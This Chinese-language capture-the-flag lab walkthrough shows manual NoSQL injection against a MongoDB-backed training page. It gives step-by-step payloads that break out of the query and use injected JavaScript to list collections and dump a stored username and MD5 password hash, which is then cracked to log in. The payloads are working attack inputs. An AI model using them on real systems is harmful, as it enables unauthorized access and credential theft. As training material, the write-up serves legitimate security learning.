墨者:通过手工解决SQL手工注入漏洞测试(MongoDB数据库)
一、SQL手工注入漏洞测试(MongoDB数据库)
本文以墨者学院靶场为例,演示MongoDB数据库的手工SQL注入全过程。靶场以自己的地址为准:http://124.70.71.251:42286/new_list.php?id=1
二、注入原理说明
MongoDB作为NoSQL数据库,其注入方式与传统SQL注入不同。攻击主要利用:
- JSON/BSON语法闭合
 - JavaScript代码执行
 - 查询结果强制返回
 
三、注入步骤详解(如下指令去掉了id之前的内容)
1. 查询回显位置
id=1\'});return ({\'title\':\'1\',\'content\':\'2
- 攻击手法:
\'}闭合原始查询的JSON结构);终止当前语句return构造新文档强制返回
 - 作用:确认页面显示
title和content字段的位置

 
2. 查询数据库名称
id=1\'});return ({\'title\':tojson(db),\'content\':\'2
- 关键函数:
db:当前数据库对象tojson():将MongoDB对象转为JSON字符串
 - 输出示例:
mozhe_cms_Authority 

3. 查询表名称(集合列表)
id=1\'});return ({\'title\':tojson(db.getCollectionNames()),\'content\':\'2
- 核心方法:
getCollectionNames():返回所有集合名称数组
 - 典型结果:
[ \"Authority_confidential\", \"notice\", \"system.indexes\" ] 

4. 查询字段结构
id=1\'});return ({\'title\':tojson(db.Authority_confidential.find()[0]),\'content\':\'2
修改find()[1]值查询其他账号:
id=1\'});return ({\'title\':tojson(db.Authority_confidential.find()[1]),\'content\':\'2
- 技术要点:
Authority_confidential:目标集合名find()[0]:获取集合第一条记录find()[1]:获取集合第二条记录
 - 泄露内容:
{ \"_id\": ObjectId(\"6885d4f44abcd62e71223bc5\"), \"name\": \"mozhe\", \"password\": \"a83cd5ad5ed3e1c5597441aaab289f5c\", \"status\": \"0\"} 

 
5. MD5解密后,手动登录,获取Key
MD5工具地址:https://www.cmd5.com/
 
四、关键指令速查表
\'})returntojson()dbgetCollectionNames()find()[0]

